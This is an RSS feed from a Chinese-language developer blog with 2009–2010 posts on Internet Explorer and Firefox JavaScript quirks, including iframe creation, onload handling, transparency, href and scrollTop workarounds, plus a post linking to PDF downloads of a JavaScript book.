<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Leakon &#187; JavaScript</title>
	<atom:link href="http://www.leakon.com/archives/category/javascript/feed" rel="self" type="application/rss+xml" />
	<link>http://www.leakon.com</link>
	<description>勤奋 - 创新 - 矢志不渝 - 锲而不舍</description>
	<lastBuildDate>Mon, 06 Feb 2012 02:43:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Iframe Tips ABC</title>
		<link>http://www.leakon.com/archives/663?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=iframe-tips-abc</link>
		<comments>http://www.leakon.com/archives/663#comments</comments>
		<pubDate>Sat, 24 Jul 2010 14:50:31 +0000</pubDate>
		<dc:creator>leakon</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[IEJS]]></category>

		<guid isPermaLink="false">http://www.leakon.com/?p=663</guid>
		<description><![CDATA[
通常我们用 js 脚本创建 iframe 时，会这样写：
var iframe = document.createElement('iframe');
之后我们可能会定义 id、name、border 等属性，这些看似简单，其实 IE 与非 IE 浏览器之间、IE 和 IE 高版本之间的迥异，使得 iframe 的相关兼容性操作非常地有文章。
牛A：frameborder
现象：使用 (iframe.frameBorder = 数值) 或(iframe.setAttribute(‘frameborder’,数值)) 在 IE 浏览器下无效原因：IE  [...]]]></description>
			<content:encoded><![CDATA[<p><span style="text-align: left;"></p>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">通常我们用 js 脚本创建 iframe 时，会这样写：</p>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;"><code style="margin: 10px 20px; padding: 0px 5px 2px; background-color: #fafafa; font-family: 'Courier New',Courier; border: 1px dashed #dddddd; color: #777777; line-height: 23px; display: block;">var iframe = document.createElement('iframe');</code></p>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">之后我们可能会定义 id、name、border 等属性，这些看似简单，其实 IE 与非 IE 浏览器之间、IE 和 IE 高版本之间的迥异，使得 iframe 的相关兼容性操作非常地有文章。</p>
<h3 style="margin: 0px; padding: 0px; color: #3e606f; font-size: 18px; line-height: 23px;">牛A：frameborder</h3>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">现象：使用 (iframe.frameBorder = 数值) 或(iframe.setAttribute(‘frameborder’,数值)) 在 IE 浏览器下无效<br style="margin: 0px; padding: 0px;" />原因：IE 浏览器区分属性名称大小写<br style="margin: 0px; padding: 0px;" />解决方法：iframe.setAttribute(‘frameBorder’,&#8217;0′) Or iframe.setAttribute(‘frameborder’,&#8217;0′,0)，兼容所有浏览器。</p>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">注：经测试，IE8已经修复此问题</p>
<h3 style="margin: 0px; padding: 0px; color: #3e606f; font-size: 18px; line-height: 23px;">牛B：动态将Form target到iframe</h3>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">背景：假设现在我们要让一个 Form 表单结果提交到一个 HTML 结构中已存在的 iframe，会这样做：</p>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;"><code style="margin: 10px 20px; padding: 0px 5px 2px; background-color: #fafafa; font-family: 'Courier New',Courier; border: 1px dashed #dddddd; color: #777777; line-height: 23px; display: block;">&lt;form id="form" name="form" target="相应iframe的name:iframeNB" method="post" &gt;<br style="margin: 0px; padding: 0px;" />&lt;/form&gt;<br style="margin: 0px; padding: 0px;" />&lt;iframe name="iframeNB" &gt;&lt;/iframe&gt;</code></p>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">OK，什么问题也没有，再假设我们需要提交到脚本动态生成的 iframe 中，会这样做：</p>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;"><code style="margin: 10px 20px; padding: 0px 5px 2px; background-color: #fafafa; font-family: 'Courier New',Courier; border: 1px dashed #dddddd; color: #777777; line-height: 23px; display: block;">&lt;form id="form" name="form" target="iframeNB" method="post" &gt;<br style="margin: 0px; padding: 0px;" />&lt;/form&gt;<br style="margin: 0px; padding: 0px;" />&lt;script&gt;<br style="margin: 0px; padding: 0px;" />var iframe = document.createElement('iframe');<br style="margin: 0px; padding: 0px;" />iframe.name = 'iframeNB';<br style="margin: 0px; padding: 0px;" />...<br style="margin: 0px; padding: 0px;" />someParent.appendChild(iframe);<br style="margin: 0px; padding: 0px;" />&lt;/script&gt;</code></p>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">去 IE 浏览器里试试，你会发现 Form 会在新窗口显示提交结果，Why?<br style="margin: 0px; padding: 0px;" />原因：<br style="margin: 0px; padding: 0px;" />我为此尝试了很久，结果是IE此前版本不能通过(iframe.name=)这种方式给 iframe 设置 name 值，也就是说生成的 iframe 是没有 name 值的，但却可以 alert 出来，这很诡异；当然，这也并不是没有解决办法。<br style="margin: 0px; padding: 0px;" />解决方法，为此我们得为 IE 单独写一行代码：</p>
<pre style="margin: 0px; padding: 5px; overflow-x: auto;"><code style="margin: 10px 20px; padding: 0px 5px 2px; background-color: #fafafa; font-family: 'Courier New',Courier; border: 1px dashed #dddddd; color: #777777; line-height: 23px; display: block;">  <span style="margin: 0px; padding: 0px; color: gray;">/*only for ie */</span> <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: navy; font-weight: bold;">var</span> iframe = document.createElement(<span style="margin: 0px; padding: 0px; color: teal;">'&lt;iframe name="iframeNB"&gt;'</span>); <br style="margin: 0px; padding: 0px;" /></code></pre>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">看到这行代码，我们笑了，这是天大的杯具（喜剧？）～～不管IE有多么搓的问题，他总会有自己一套解决之……<br style="margin: 0px; padding: 0px;" />而且这行代码会在其他非 IE 浏览器抛出异常，所以我们可以利用这点来做最终版：</p>
<pre style="margin: 0px; padding: 5px; overflow-x: auto;"><code style="margin: 10px 20px; padding: 0px 5px 2px; background-color: #fafafa; font-family: 'Courier New',Courier; border: 1px dashed #dddddd; color: #777777; line-height: 23px; display: block;">    <span style="margin: 0px; padding: 0px; color: navy; font-weight: bold;">var</span> iframe; <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: navy; font-weight: bold;">try</span><span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">{</span> <br style="margin: 0px; padding: 0px;" />        iframe = document.createElement(<span style="margin: 0px; padding: 0px; color: teal;">'&lt;iframe name="iframeNB"&gt;'</span>); <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">}</span><span style="margin: 0px; padding: 0px; color: navy; font-weight: bold;">catch</span>(e)<span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">{</span> <br style="margin: 0px; padding: 0px;" />        iframe = document.createElement(<span style="margin: 0px; padding: 0px; color: teal;">'iframe'</span>); <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">}</span> <br style="margin: 0px; padding: 0px;" />    iframe.name = <span style="margin: 0px; padding: 0px; color: teal;">'iframeNB'</span>; <br style="margin: 0px; padding: 0px;" />    ... <br style="margin: 0px; padding: 0px;" />    someParent.appendChild(iframe); <br style="margin: 0px; padding: 0px;" />    ... <br style="margin: 0px; padding: 0px;" /></code></pre>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">[2009-12-9]补充：最佳实践 – YUI 是如何 creat iframe 的</p>
<pre style="margin: 0px; padding: 5px; overflow-x: auto;"><code style="margin: 10px 20px; padding: 0px 5px 2px; background-color: #fafafa; font-family: 'Courier New',Courier; border: 1px dashed #dddddd; color: #777777; line-height: 23px; display: block;">    <span style="margin: 0px; padding: 0px; color: gray;">/** <br style="margin: 0px; padding: 0px;" />    * @description Creates an iframe to be used for form file uploads.  It is remove from the <br style="margin: 0px; padding: 0px;" />    * document upon completion of the upload transaction. <br style="margin: 0px; padding: 0px;" />    * @method createFrame <br style="margin: 0px; padding: 0px;" />    * @private <br style="margin: 0px; padding: 0px;" />    * @static <br style="margin: 0px; padding: 0px;" />    * @param {string} optional qualified path of iframe resource for SSL in IE. <br style="margin: 0px; padding: 0px;" />    * @return {void} <br style="margin: 0px; padding: 0px;" />    */</span> <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: #4169e1; font-weight: bold;">function</span> _createFrame(secureUri)<span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">{</span> <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: green;">// IE does not allow the setting of id and name attributes as object</span> <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: green;">// properties via createElement().  A different iframe creation</span> <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: green;">// pattern is required for IE.</span> <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: navy; font-weight: bold;">var</span> frameId = <span style="margin: 0px; padding: 0px; color: teal;">'yuiIO'</span> + <span style="margin: 0px; padding: 0px; color: #4169e1; font-weight: bold;">this</span>._transaction_id,io; <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: navy; font-weight: bold;">if</span>(YAHOO.env.ua.ie)<span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">{</span> <br style="margin: 0px; padding: 0px;" />        io = document.createElement(<span style="margin: 0px; padding: 0px; color: teal;">'&lt;iframe id="'</span> + frameId + <span style="margin: 0px; padding: 0px; color: teal;">'"name="'</span> + frameId + <span style="margin: 0px; padding: 0px; color: teal;">'" /&gt;'</span>); <br style="margin: 0px; padding: 0px;" />        <span style="margin: 0px; padding: 0px; color: green;">// IE will throw a security exception in an SSL environment if the</span> <br style="margin: 0px; padding: 0px;" />        <span style="margin: 0px; padding: 0px; color: green;">// iframe source is undefined.</span> <br style="margin: 0px; padding: 0px;" />        <span style="margin: 0px; padding: 0px; color: navy; font-weight: bold;">if</span>(<span style="margin: 0px; padding: 0px; color: #4169e1; font-weight: bold;">typeof</span> secureUri == <span style="margin: 0px; padding: 0px; color: teal;">'boolean'</span>)<span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">{</span> <br style="margin: 0px; padding: 0px;" />            io.src = <span style="margin: 0px; padding: 0px; color: teal;">'javascript:false'</span>; <br style="margin: 0px; padding: 0px;" />        <span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">}</span> <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">}</span><span style="margin: 0px; padding: 0px; color: navy; font-weight: bold;">else</span><span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">{</span> <br style="margin: 0px; padding: 0px;" />        io = document.createElement(<span style="margin: 0px; padding: 0px; color: teal;">'iframe'</span>); <br style="margin: 0px; padding: 0px;" />        io.id = frameId; <br style="margin: 0px; padding: 0px;" />        io.name = frameId; <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">}</span> <br style="margin: 0px; padding: 0px;" />    io.style.position = <span style="margin: 0px; padding: 0px; color: teal;">'absolute'</span>; <br style="margin: 0px; padding: 0px;" />    io.style.top = <span style="margin: 0px; padding: 0px; color: teal;">'-1000px'</span>; <br style="margin: 0px; padding: 0px;" />    io.style.left = <span style="margin: 0px; padding: 0px; color: teal;">'-1000px'</span>; <br style="margin: 0px; padding: 0px;" />    document.body.appendChild(io); <br style="margin: 0px; padding: 0px;" />    YAHOO.log(<span style="margin: 0px; padding: 0px; color: teal;">'File upload iframe created. Id is:'</span> + frameId, <span style="margin: 0px; padding: 0px; color: teal;">'info'</span>, <span style="margin: 0px; padding: 0px; color: teal;">'Connection'</span>); <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">}</span> <br style="margin: 0px; padding: 0px;" /></code></pre>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">这里需要额外注意到的一点是：</p>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;"><code style="margin: 10px 20px; padding: 0px 5px 2px; background-color: #fafafa; font-family: 'Courier New',Courier; border: 1px dashed #dddddd; color: #777777; line-height: 23px; display: block;">// IE will throw a security exception in an SSL environment if the<br style="margin: 0px; padding: 0px;" />// iframe source is undefined.<br style="margin: 0px; padding: 0px;" />if(typeof secureUri == 'boolean'){<br style="margin: 0px; padding: 0px;" />io.src = 'javascript:false';<br style="margin: 0px; padding: 0px;" />}</code></p>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">姑且算是牛D吧 =.=!</p>
<h3 style="margin: 0px; padding: 0px; color: #3e606f; font-size: 18px; line-height: 23px;">牛C：iframe.onload</h3>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">关于 onload 这点大家可以参考<a style="margin: 0px 2px; padding: 0px; color: #0066cc; text-decoration: none; outline-style: none;" href="http://www.planabc.net/" target="_blank">怿飞师父</a>的文章：<a style="margin: 0px 2px; padding: 0px; color: #0066cc; text-decoration: none; outline-style: none;" href="http://www.planabc.net/2009/09/22/iframe_onload/" target="_blank">判断 iframe 是否加载完成的完美方法</a>，在此纯引用一次代码：</p>
<pre style="margin: 0px; padding: 5px; overflow-x: auto;"><code style="margin: 10px 20px; padding: 0px 5px 2px; background-color: #fafafa; font-family: 'Courier New',Courier; border: 1px dashed #dddddd; color: #777777; line-height: 23px; display: block;"><span style="margin: 0px; padding: 0px; color: navy; font-weight: bold;">var</span> iframe = document.createElement(<span style="margin: 0px; padding: 0px; color: teal;">"iframe"</span>); <br style="margin: 0px; padding: 0px;" />iframe.src = <span style="margin: 0px; padding: 0px; color: teal;">"http://www.planabc.net"</span>; <br style="margin: 0px; padding: 0px;" /><span style="margin: 0px; padding: 0px; color: navy; font-weight: bold;">if</span> (iframe.attachEvent) <span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">{</span> <br style="margin: 0px; padding: 0px;" />    iframe.attachEvent(<span style="margin: 0px; padding: 0px; color: teal;">"onload"</span>, <span style="margin: 0px; padding: 0px; color: #4169e1; font-weight: bold;">function</span> () <span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">{</span> <br style="margin: 0px; padding: 0px;" />        alert(<span style="margin: 0px; padding: 0px; color: teal;">"Local iframe is now loaded."</span>); <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">}</span>); <br style="margin: 0px; padding: 0px;" /><span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">}</span> <span style="margin: 0px; padding: 0px; color: navy; font-weight: bold;">else</span> <span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">{</span> <br style="margin: 0px; padding: 0px;" />    iframe.onload = <span style="margin: 0px; padding: 0px; color: #4169e1; font-weight: bold;">function</span> () <span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">{</span> <br style="margin: 0px; padding: 0px;" />        alert(<span style="margin: 0px; padding: 0px; color: teal;">"Local iframe is now loaded."</span>); <br style="margin: 0px; padding: 0px;" />    <span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">}</span>; <br style="margin: 0px; padding: 0px;" /><span style="margin: 0px; padding: 0px; color: red; font-weight: bold;">}</span> <br style="margin: 0px; padding: 0px;" />document.body.appendChild(iframe); <br style="margin: 0px; padding: 0px;" /></code></pre>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;"><strong style="margin: 0px; padding: 0px;">需要注意到的是：</strong></p>
<ul style="margin: 10px 0px; padding: 0px 40px;">
<li style="margin: 0px; padding: 2px 0px;">IE8也不支持iframe.onload</li>
<li style="margin: 0px; padding: 2px 0px;">Opera两者均可，所以使用此方法会绑定前者</li>
<li style="margin: 0px; padding: 2px 0px;">即使我们不预设iframe.src = some urls，也会默认执行一次onload事件，可以通过分析 src 规避。</li>
</ul>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">附测试文件：<br style="margin: 0px; padding: 0px;" />1.<a style="margin: 0px 2px; padding: 0px; color: #0066cc; text-decoration: none; outline-style: none;" href="http://www.silentash.com.previewdns.com/upload/iframe_ie_ugly.html" target="_blank">iframe_ie_ugly.html</a><br style="margin: 0px; padding: 0px;" />2.<a style="margin: 0px 2px; padding: 0px; color: #0066cc; text-decoration: none; outline-style: none;" href="http://www.silentash.com.previewdns.com/upload/iframe_fixed.html" target="_blank">iframe_fixed.html</a><br style="margin: 0px; padding: 0px;" />以上，我认为 ABC 中最牛的就是 B 了，这也是我标题的亮点=.=! 斯密达们认为呢？</p>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">上述文字转自 <a href="http://blog.silentash.com/2009/12/iframe-tips-abc/">http://blog.silentash.com/2009/12/iframe-tips-abc/</a>，感谢原作者给我提供的巨大帮助。</p>
<p style="margin: 5px 0px; padding: 5px 20px 5px 0px;">转载在这里与更多人分享。</p>
<p></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.leakon.com/archives/663/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>IE Bug Javascript</title>
		<link>http://www.leakon.com/archives/649?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ie-bug-javascript</link>
		<comments>http://www.leakon.com/archives/649#comments</comments>
		<pubDate>Mon, 12 Jul 2010 05:15:13 +0000</pubDate>
		<dc:creator>leakon</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[IE]]></category>

		<guid isPermaLink="false">http://www.leakon.com/?p=649</guid>
		<description><![CDATA[问题描述：
当 A 标签的文本是 http 开头时，设置 href 属性，会同时以相同的值更新链接文本，反之亦然。
解决方法：
在设置 href 时，在开头添加一个空格 &#8216; &#8216;，即可解决此 bug。
测试 Demo:
http://code.leakon.com/javascript/set_href/set_href.html
注意，只在 IE 下会出现错误。
预期的功能是修改链接的 href 属性。
使用默认的修改方法有 bug，会把链接文本改掉！
]]></description>
			<content:encoded><![CDATA[<p>问题描述：<br />
当 A 标签的文本是 http 开头时，设置 href 属性，会同时以相同的值更新链接文本，反之亦然。</p>
<p>解决方法：<br />
在设置 href 时，在开头添加一个空格 &#8216; &#8216;，即可解决此 bug。</p>
<p>测试 Demo:</p>
<p><a href="http://code.leakon.com/javascript/set_href/set_href.html" target="_blank">http://code.leakon.com/javascript/set_href/set_href.html</a></p>
<p>注意，只在 IE 下会出现错误。</p>
<p>预期的功能是修改链接的 href 属性。</p>
<p>使用默认的修改方法有 bug，会把链接文本改掉！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leakon.com/archives/649/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>0&#215;80040111 NS_ERROR_NOT_AVAILABLE</title>
		<link>http://www.leakon.com/archives/647?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=0x80040111-ns_error_not_available</link>
		<comments>http://www.leakon.com/archives/647#comments</comments>
		<pubDate>Thu, 08 Jul 2010 09:00:51 +0000</pubDate>
		<dc:creator>leakon</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Ajax]]></category>

		<guid isPermaLink="false">http://www.leakon.com/?p=647</guid>
		<description><![CDATA[Firefox 在处理 Ajax 遇到错误时会报 0&#215;80040111 异常。
在网上查了下，有的说法是，在很短的时间间隔发送了 2 次 Ajax 请求，XMLHttpRequest 的值还没有返回回来就又被请求了一次。
还有一个情况，是我遇到的，在请求成功返回后执行回调函数时，引用了空对象的属性，debug 报错：&#8221;null  has no properties&#8220;。
目前只遇到这 2 种情况，记录备忘。
]]></description>
			<content:encoded><![CDATA[<p>Firefox 在处理 Ajax 遇到错误时会报 0&#215;80040111 异常。</p>
<p>在网上查了下，有的说法是，在很短的时间间隔发送了 2 次 Ajax 请求，XMLHttpRequest 的值还没有返回回来就又被请求了一次。</p>
<p>还有一个情况，是我遇到的，在请求成功返回后执行回调函数时，引用了空对象的属性，debug 报错：&#8221;<span id="zw-129b13b809dxRbTqCb0c29"><!-- table { font-size: 10pt;} -->null  has no properties</span>&#8220;。</p>
<p>目前只遇到这 2 种情况，记录备忘。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leakon.com/archives/647/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>KB927917 IE 报错 解决方法</title>
		<link>http://www.leakon.com/archives/642?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=kb927917-ie-%25e6%258a%25a5%25e9%2594%2599-%25e8%25a7%25a3%25e5%2586%25b3%25e6%2596%25b9%25e6%25b3%2595</link>
		<comments>http://www.leakon.com/archives/642#comments</comments>
		<pubDate>Thu, 03 Jun 2010 05:56:55 +0000</pubDate>
		<dc:creator>leakon</dc:creator>
				<category><![CDATA[Browser]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[KB927917]]></category>

		<guid isPermaLink="false">http://www.leakon.com/?p=642</guid>
		<description><![CDATA[在 body 标签内调用 append 方式给 body 增加一个节点，如果此时 body 未加载完，也就是 body 标签还未关闭，IE 将报错：KB927917。
页面错误提示：Unable to modify the parent container element before the child element is  [...]]]></description>
			<content:encoded><![CDATA[<p>在 body 标签内调用 append 方式给 body 增加一个节点，如果此时 body 未加载完，也就是 body 标签还未关闭，IE 将报错：KB927917。</p>
<p>页面错误提示：Unable to modify the parent container element before the child element is closed.</p>
<p>查了下资料，知道了问题的产生原因：</p>
<p>首先是微软的详细解释：http://support.microsoft.com/kb/927917</p>
<p>最后发现其实微软的MSDN上早已列举了解决办法：</p>
<p>http://blogs.msdn.com/ie/archive/2008/04/23/what-happened-to-operation-aborted.aspx</p>
<p>官方给出的解决办法如下：</p>
<ol>
<li>Moving your script execution to a function that is invoked after parsing is complete (e.g., onload)</li>
<li> Adding the defer boolean attribute to the script block (this defers execution of the script content until parsing is complete)</li>
<li> Limiting your tree modifications to the script-element&#8217;s immediate parent</li>
<li> Moving the location of your script block to a child of the body (this usually solves most problems, while allowing the most flexibility in terms of scenarios).</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.leakon.com/archives/642/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Object Oriented Javascript PDF ENG</title>
		<link>http://www.leakon.com/archives/587?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=object-oriented-javascript-pdf-eng</link>
		<comments>http://www.leakon.com/archives/587#comments</comments>
		<pubDate>Tue, 15 Dec 2009 11:42:23 +0000</pubDate>
		<dc:creator>leakon</dc:creator>
				<category><![CDATA[Book]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.leakon.com/?p=587</guid>
		<description><![CDATA[
这几天头大，钻研 prototype, prototype chains, scope, scope chains, constructor, closures 。
突然觉得自己根本不懂 Javascript。
把 《Pro Javascript Techniques》 有关 OOP 的部分仔细读了两遍，又看了半天这个链接：
http://www.jibbering.com/faq/faq_notes/closures.html
发现自己根本不懂  [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-586" title="Object Oriented Javascript" src="http://www.leakon.com/wp-content/uploads/2009/12/ooj-cover.png" alt="Object Oriented Javascript" width="300" height="381" /></p>
<p>这几天头大，钻研 prototype, prototype chains, scope, scope chains, constructor, closures 。</p>
<p>突然觉得自己根本不懂 Javascript。</p>
<p>把 《Pro Javascript Techniques》 有关 OOP 的部分仔细读了两遍，又看了半天这个链接：</p>
<p><a href="http://www.jibbering.com/faq/faq_notes/closures.html">http://www.jibbering.com/faq/faq_notes/closures.html</a></p>
<p>发现自己根本不懂 English，感觉这文章是用英文文言文写的？</p>
<p>有兄弟用自己的普通话大体翻译了下，写的还挺深入的，比较容易看懂：</p>
<p><a href="http://www.zhuoqun.net/html/y2009/1203.html">http://www.zhuoqun.net/html/y2009/1203.html</a></p>
<p>各位对照着看吧。</p>
<p>为了进一步搞明白 Javascript 的对象继承机制，以及能设计出模块化的 Javascript Apps 平台，我找到了《Object-Oriented Javascript》这本书的 PDF 版，上面那个大图片是本书的封面。今晚好好研读一下。</p>
<p>我的服务器带宽实在是小，感觉像 1M 共享的，暂时先不提供下载了，给 2 个其他下载地址：</p>
<p><a href="http://rapidshare.com/files/186330594/1847194141.pdf">http://rapidshare.com/files/186330594/1847194141.pdf</a></p>
<p><a href="http://www.itxuexi.com/resource/1291/">http://www.itxuexi.com/resource/1291/</a></p>
<p>如果这 2 个地址失效，给我留言，我 24 小时内上传 PDF 到服务器供您下载。</p>
<p>看书去了……</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leakon.com/archives/587/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IE IFrame Transparent 透明</title>
		<link>http://www.leakon.com/archives/560?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ie-iframe-transparent-%25e9%2580%258f%25e6%2598%258e</link>
		<comments>http://www.leakon.com/archives/560#comments</comments>
		<pubDate>Wed, 02 Dec 2009 08:54:21 +0000</pubDate>
		<dc:creator>leakon</dc:creator>
				<category><![CDATA[Browser]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[原创]]></category>
		<category><![CDATA[IFrame]]></category>

		<guid isPermaLink="false">http://www.leakon.com/?p=560</guid>
		<description><![CDATA[用 Javascript 插入 IFrame 标签，在 Firefox、Chrome 等浏览器上，默认都是透明的，但 IE 有默认的白色背景。
本来，在 html 中写入 IFrame 标签，并加上 allowTransparent=&#8221;true&#8221; 这样的属性，IE 也一样可以透明，但今天的问题是必须用 Javascript 插入。
用 IE Developer ToolBar 测试，在 IFrame 的 src 页面的 body 样式上加上 backgroud:transparent 可以使 IFrame 透明。
但我们要用 Javascript，本域的 Javascript  [...]]]></description>
			<content:encoded><![CDATA[<p>用 Javascript 插入 IFrame 标签，在 Firefox、Chrome 等浏览器上，默认都是透明的，但 IE 有默认的白色背景。</p>
<p>本来，在 html 中写入 IFrame 标签，并加上 allowTransparent=&#8221;true&#8221; 这样的属性，IE 也一样可以透明，但今天的问题是必须用 Javascript 插入。</p>
<p>用 IE Developer ToolBar 测试，在 IFrame 的 src 页面的 body 样式上加上 backgroud:transparent 可以使 IFrame 透明。</p>
<p>但我们要用 Javascript，本域的 Javascript 脚本是没法设置跨域 IFrame 页面的，况且创建 IFrame 的时候还没设置 src，所以这个办法不行。</p>
<p>只能用个土办法，把 src 设置为一个绝对路径的 html 页面，这个页面你自己可以任意编辑，把 body 的样式设成透明即可。</p>
<p>注意，为了性能，只在 IE 浏览器下设置 src，Firefox 和 Chrome 都不用设置。</p>
<p>在这一点上，IE7 跟 IE6 一样弱，比现代浏览器差远了！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leakon.com/archives/560/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DOCTYPE Javascript documentElement</title>
		<link>http://www.leakon.com/archives/557?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=doctype-javascript-documentelement</link>
		<comments>http://www.leakon.com/archives/557#comments</comments>
		<pubDate>Wed, 02 Dec 2009 04:07:05 +0000</pubDate>
		<dc:creator>leakon</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[DocType]]></category>
		<category><![CDATA[documentElement]]></category>

		<guid isPermaLink="false">http://www.leakon.com/?p=557</guid>
		<description><![CDATA[在 Javascript 里面调用一些属性的名称发生了改变，比如得不到 document.body.scrollTop 的值。
使用了 DOCTYPE 之后，滚动条位置必须用 document.documentElement.scrollTop 来调用，类似的还有 scrollLeft 等。
但是，在没有 DOCTYPE 的时候 document.documentElement.scrollTop 也永远为零了。
能否有一个在有或没有 DOCTYPE 定义都可以用的方案呢？
可以这样写：
// 浏览器滚动条位置
function scrollTop() {
var scrollTop =  [...]]]></description>
			<content:encoded><![CDATA[<p>在 Javascript 里面调用一些属性的名称发生了改变，比如得不到 document.body.scrollTop 的值。</p>
<p>使用了 DOCTYPE 之后，滚动条位置必须用 document.documentElement.scrollTop 来调用，类似的还有 scrollLeft 等。</p>
<p>但是，在没有 DOCTYPE 的时候 document.documentElement.scrollTop 也永远为零了。</p>
<p>能否有一个在有或没有 DOCTYPE 定义都可以用的方案呢？</p>
<p>可以这样写：</p>
<p>// 浏览器滚动条位置<br />
function scrollTop() {<br />
var scrollTop = 0;<br />
if (document.documentElement &amp;&amp; document.documentElement.scrollTop) {<br />
scrollTop = document.documentElement.scrollTop;<br />
} else if (document.body) {<br />
scrollTop = document.body.scrollTop;<br />
} else if (window.pageYOffset) {<br />
scrollTop = window.pageYOffset;<br />
}<br />
return scrollTop;<br />
}</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leakon.com/archives/557/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mootools 教程</title>
		<link>http://www.leakon.com/archives/350?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=mootools-%25e6%2595%2599%25e7%25a8%258b</link>
		<comments>http://www.leakon.com/archives/350#comments</comments>
		<pubDate>Fri, 23 Jan 2009 16:19:39 +0000</pubDate>
		<dc:creator>leakon</dc:creator>
				<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.leakon.com/?p=350</guid>
